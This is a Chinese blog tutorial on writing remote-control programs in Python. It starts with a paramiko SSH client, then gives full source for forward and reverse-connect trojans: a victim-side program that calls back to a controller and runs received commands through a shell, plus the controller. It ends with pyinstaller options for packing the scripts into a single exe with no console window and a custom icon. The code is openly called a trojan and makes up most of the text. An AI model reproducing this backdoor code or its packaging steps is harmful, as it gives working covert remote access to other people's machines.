当前位置:   article > 正文

利用Python编写远程控制程序

利用Python编写远程控制程序

 基于paramiko实现SSH客户端

  1. import paramiko
  2. #创建SSClient对象
  3. client = paramiko.SSHClient()
  4. #允许自己连接不认识的主机
  5. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  6. #连接服务器
  7. #passwords=['123456','root']
  8. #for i in passwords:
  9. # print(i)
  10. client.connect('主机名','端口','用户名','密码')
  11. stdin,stdout,stderr = client.exec_command('ls')
  12. #获取命令结果
  13. print(stdout.read())

正向连接脚本

除了通过SSH连接服务器外,还用其他的方式也可以实现远程控制,也就是我们常说的木马,对于一个木马来说,至少要具备以下两个功能:

1:服务端能够对设备进行控制

2:客户端可以远程向服务器传达命令

正向木马客户端

  1. import socket
  2. import time
  3. str_msg=input("请输入指令")
  4. s2 = socket.socket()
  5. s2.connect(("127.0.0.1",2315))
  6. #对传输数据使用encode()函数处理,python3不再支持str类型传输,需要转换为bytes类型
  7. str_msg = str_msg.encode(encoding='gbk')
  8. s2.send(str_msg)
  9. print(str(s2.recv(1024)))
  10. time.sleep(5)
  11. s2.close()

正向木马服务端

  1. import subprocess
  2. import socket
  3. def run_command(command):
  4. command=command.rstrip() #删除字符串末尾指定字符,默认为空格
  5. print(command)
  6. try:
  7. child = subprocess.run(command,shell=True)
  8. except Exception as e:
  9. child = "执行失败\r\n"
  10. return child
  11. s1 = socket.socket()
  12. s1.bind(("127.0.0.1",2315))
  13. s1.listen(5)
  14. str="Hello World"
  15. while True:
  16. conn,address = s1.accept()
  17. print("a new connect from",address)
  18. conn.send(str.encode(encoding="gbk"))
  19. data=conn.recv(1024)
  20. data=bytes.decode(data)
  21. print("The command is"+data)
  22. output = run_command(data)
  23. conn.close()

反向连接脚本

正向连接脚本实际上受到目标设备IP的限制,所以出现了一种更有效的木马。反向木马的被控端写有主控端的IP地址,一但在目标设备上运行,就会主动通知主控端,然后再从主控端发送命令。

逆向木马被控端

  1. import subprocess
  2. import socket
  3. def run_command(command):
  4. command = command.rstrip()
  5. #print(type(command))
  6. #command="calc"
  7. try:
  8. child = subprocess.run(command,shell=True)
  9. except Exception as e:
  10. child = '命令执行失败\n'
  11. return child
  12. client = socket.socket()
  13. #连接主控端的IP地址
  14. client.connect(('127.0.0.1',9999))
  15. while True:
  16. Message = "welcome"
  17. client.send(Message.encode())
  18. data = client.recv(1024)
  19. data=data.decode()
  20. output = run_command(data)
  21. #print(output.stdout)
  22. client.close()

逆向木马主控端

  1. import socketserver
  2. class MyTCPHandler(socketserver.BaseRequestHandler):
  3. def handle(self):
  4. try:
  5. while True:
  6. self.data = self.request.recv(1024)
  7. print(self.data.deconde(),"\n")
  8. cmd = input("(quit退出>>").strip()
  9. if cmd == 0:
  10. continue
  11. if cmd == "quit":
  12. break
  13. if not self.data:
  14. print("connection lost")
  15. break
  16. self.request.sendall(cmd.encode())
  17. except Exception as e:
  18. print(self.client_address,"连接断开")
  19. finally:
  20. self.request.close()
  21. def setup(self):
  22. print("before handle,连接建立",self.client_address)
  23. def finish(self):
  24. print("finish run after handle")
  25. if __name__ == "__main__":
  26. HOST = "localhost"
  27. PORT = 9999
  28. server = socketserver.TCPServer((HOST,PORT),MyTCPHandler)
  29. server.serve_forever()

py文件变成exe文件

目标设备上可能没有python环境,所以有时候需要改变一下文件类型

使用 pyinstaller xxx.py(文件路径)

-F 打包后生成单个exe文件

-D 默认选项,创建一个目录,包含exe文件和大量依赖文件

-c 默认使用控制台(黑框框)

-w 不使用控制台

-p 添加搜索路径,让其找到对应的库

-i 改变生成程序的icon图标

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Gausst松鼠会/article/detail/603395
推荐阅读
相关标签
  

闽ICP备14008679号